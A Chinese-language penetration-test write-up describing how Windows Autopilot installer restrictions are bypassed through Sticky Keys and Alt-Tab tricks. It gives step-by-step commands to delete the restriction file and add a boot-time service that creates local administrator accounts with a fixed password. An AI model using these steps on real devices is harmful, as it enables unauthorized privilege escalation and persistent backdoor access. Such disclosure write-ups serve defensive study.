The Story
在一次正规的渗透测试过程中,我们对某企业环境进行了安全测试。很明显,我不会透露任何关于该客户或项目的相关信息,因此,这里做了匿名化。
X公司,像其他公司一样,也使用微软的解决方案。在这种情况下,Autopilot和环境就成为了调查的重点。(注意:Intune设置在测试期间是未知的。)
测试目标是获得对公司资源的访问权,提升权限级别并绕过公司的安全规则。
本文展示了完整的链式利用过程,具体包含两个步骤。第二步利用了一个已知的漏洞,但也有其他方法可以替代。
我向微软报告了这个漏洞。之后,微软和X公司之间进行了几次讨论。不幸的是,我没有参与这些讨论,并且不允许我分享额外的信息。
微软内部检查的结论是明确的:这不属于Autopilot的漏洞,自然,他们也不会修复该漏洞。
我非常同意微软的观点,这的确不是Autopilot的漏洞,而是Windows系统的一个漏洞。Autopilot只是一个可能被利用的场景(这是有道理的),并且,很可能还有其他的利用场景。
我相信,某些公司在使用Autopilot时遵循微软的某些限制,并且这种使用方式是安全的,但事实并非如此。作为一名客户,我的愿景是一种安全的安装方法。
利用提供的相关信息,每个人都可以评估真实的的风险,并采取必要的防护措施。
实际上,从Windows XP到Windows 11的所有版本的操作系统都受到该漏洞的影响。不过,我还没有在物理机器上用Windows 7或Windows XP测试Shift F10 Bypass。在每种版本下,都有一种方法可以通过粘滞键窗口或其他窗口(如放大镜)启动应用程序。下面,我将以粘滞键为例进行演示。根据可用信息,XP以上的所有系统都可能受到影响。
对于只对bypass技术的视频感兴趣的读者,可以直接跳到后面观看YouTube视频。
Microsoft Installers
在测试期间,涉及以下操作系统映像和版本:
Windows 11 Enterprise Edition (Version 10.0.22000.675)
SW_DVD9_WIN_Pro_11_21H2.7_64BIT_English_Pro_ENT_EDU_N_MLF_X23-14577.ISO
d73f46de775882dd0a307c92341586172d6f914af1494b8f5c7fcc8c6bcc89
349a667edcf6182d886c12b0d4b5acb965ccbdc7ad16ab787e830d4e4de8
c122cd
Vulnerable Yes
Windows 11 Enterprise Edition (Version 10.0.22000.739)
SW_DVD9_WIN_Pro_11_21H2.8_64BIT_English_Pro_ENT_EDU_N_MLF_X23-16487.ISO
e575058c730e92181374f565ecdb912258e2ae6539d1762c377970ebca0b
43b586e98a940f410bd392bed00bc990d63c64877466549655af03350eda
8bc2e0df
Vulnerable Yes
Windows 10 PRO Edition (Version 10.0.19044.1288)
Win10_21H2_English_x64.iso
55d267a8bf03791dd3db4b404e77d25d3cd7accf54696a07ef5cf051a2f006
4c7d2c674e332c1d4dd64b94f485f2f92a11920274fce318a5dd7fcb7c78ca
a1c8
Vulnerable Yes
An imaginary real-life Autopilot case
假设有一家大型公司拥有许多用户。他们为了降低IT成本,并没有让IT部门来安装和配置新员工的计算机,而是让员工在家里以自动化的方式完成这项工作。这时,微软Autopilot就映入眼帘。
首先,IT人员为Bob准备带有标准Windows映像的公司笔记本电脑,并且配置INTUNE服务和相应的配置文件。然后,IT人员会限制安装程序的设置选项(这是关键),比如禁用引导选项并配置BIOS和UEFI密码。
假设Bob是一名新员工,从IT部门收到了一台笔记本电脑。同时,Bob还得到新的公司用户名和密码,这样,他就可以使用该用户名和密码登录了。
Bob回家并登录,然后开始安装和配置。在此过程中,系统将重新启动数次。最后,Bob的新公司笔记本电脑就能符合公司规定,并可以访问公司资源了。
What are these installer restrictions exactly?
在Windows安装过程中,可以通过Shift和F10组合键调出管理命令窗口。在Windows 11等现代系统中,还可以访问控制面板。
当用户部分参与安装或设置过程时,禁用这一功能就会很方便。当然,微软提供了一个禁用该功能的方法。在测试环境中,这些设置都起作用。
这种情况下,IT人员自然认为不会出现什么问题。当然,其他启动选项也会被禁用。用户在这个过程中只能改变最小的设置,如键盘布局或Wi-Fi设置。最后,公司的笔记本电脑就能符合公司的规定,并可以访问公司相关的资源。
During the Penetration test, I was Bob with a physical laptop.
利用用户界面技巧,我成功绕过并关闭了相关的限制。之后,我就可以随心所欲地改变设置了,比如安装程序,创建用户和组,修改系统设置,修改注册表设置。是的,获得并维持NT权限也是可能的。
Shift F10 Bypass
只要按ALT-TAB键,就能显示窗口切换器。当然,其中只有一个可见的窗口,即安装程序窗口。不过,里边的东西很小,但放大镜工具可以提供帮助。
现在,已经启用了辅助功能以及其他部分功能,其中包括带有模式窗口的功能。在某些情况下,这些窗口还提供了链接能力,比如粘性键的功能就是一个很好的例子。(按五次shift键,它就会弹出来)。
通过这些链接功能,可以在后台启动控制面板,具体可以在窗口切换器中用ALT-TAB键查看。
虽然无法让该窗口进入前端,但可以选择它。
粘滞键窗口再次成为必要。这一次,窗口必须保持打开。所有的东西都会在后台,相关部分只在应用程序切换器中可见。我们可以直接输入命令,而系统将执行这些命令。
如果选择了适当的窗口,就能通过windows和r键启动命令窗口。之后使用powershell命令,可以启动一个新的powershell窗口。
这样,我就可以执行命令了。接下来,让我们解除保护措施。
有一个文件,名为“c:\windows\Setup\scripts\DisableCMDRequest.TAG”文件。如果这个文件存在,windows实例将应用其中的限制。如果没有该文件,可以通过简单重置解除这些限制。要删除TAG文件,需要一个shell和合适的用户账户。
步骤总结:
如果焦点不正确,可以使用ALT+TAB对焦。
1. 打开粘滞键窗口:连续按Shift键5次。
3. 选择粘滞键窗口,按Windows + r [enter] (ALT+TAB)。
5. Powershell [enter] (ALT+TAB)。
7. Start-Process powershell -verb runAs [enter] (UAC OK)。
9. cd windows\setup\scripts [enter] 。
11. del DisableCMDRequest.TAG (y)。
13. sshutdown -r -t 0 -f [enter]。
```
打开powershell窗口
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/f4fe53b7-4cb1-455f-b3a0-86009f504826.png)
打开提权后的powershell窗口
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/6b763a44-aa5c-4694-b742-b08267916dcb.png)
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/7db20877-4c84-4f1f-ac23-85c1364375a7.png)
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/7a87c723-936e-4b63-96e8-10ac3768cfcf.png)
删除TAG文件
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/52405c47-bab4-4d26-9a1e-5fa00fddfd97.png)
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/6efa9ef4-cbca-43a8-aeca-b3beb5c3611d.png)
重新启动机器。享受不受限制的新环境:
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/f0bea962-f886-4692-b997-ea795c1870bd.png)
## Video proof
https://youtu.be/Q8oZiFiXco0
## Multiple continuations
接下来,有多种方案可选。其中,一些解决方案是暂时或在有限的时间内有效的。而我则使用了古老的Narrator.exe技巧,其实它也很有效。需要说明的是,很多实验都可以在离线状态下进行,并且有可能实现攻击的自动化,为此,只需使用一个简单的USB设备即可。
## Local Admin privilege escalation and the service trick
到目前为止,所有这些步骤都是在进入Autopilot之前完成的。在Autopilot运行过程中会发生几件事,包括系统更新、系统重新启动和各种设置更改。其中,有个Autopilot步骤可删除本地管理员帐户。在某些情况下,它是不起作用的。这是一个已知的漏洞,也有一个修复程序。本来,我以为自己的安装程序包含了该修复程序,但我却收到了错误信息。
![1.png](https://storage.tttang.com/media/attachment/2022/10/09/86743d46-131a-4084-a9bd-16469e5cd40d.png)
在我的例子中,新创建的管理员用户仍保留在系统中。遗憾的是,我无法以这些用户身份登录。所以,我必须更改密码,同时,公司策略也会阻止这些用户的本地登录。
为了解决这个问题,最简单的方法是使用windows自动服务。每次引导后,该新服务都会创建一个具有预定义密码的新本地管理员用户。
Shift + F10
powershell
Open PowerShell window without Restrictions
Start-Process powershell -verb runAs
Open cmd window without Restrictions
cmd.exe
Creating folder
mkdir c:\1337
cd 1337
Creating k44.bat file for the service with notepad:
notepad k44.bat
@echo OFF
set K44_USER=k44_%RANDOM%
net user %K44_USER% aA123456 /add
net localgroup Administrators %K44_USER% /add
Save the file
Creating the service
sc create k44service binPath= "c:\1337\k44.bat" DisplayName= "k44service" start=auto
Testing the service, it will fail, but it will create the user
sc start k44service
```
在准备好上述步骤之后,应遵循正常的处理过程。经过几次重启和登录后,一切准备就绪。这时,就会应用公司策略。
对于新创建的用户,可以以管理员的身份执行命令。
- 系统是最新的(所有补丁都打了)。
- 本地管理员用户工作正常。
- 用户可以访问公司资源。
我安装了一个我最喜欢的老游戏,并玩了一会。至此,表明在公司笔记本电脑上安装定制软件是完全可能的。
好了,本文到此结束,祝大家阅读愉快!